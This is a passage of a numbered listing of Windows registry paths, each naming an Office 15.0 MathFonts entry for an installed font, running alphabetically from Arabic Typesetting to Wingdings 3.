  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
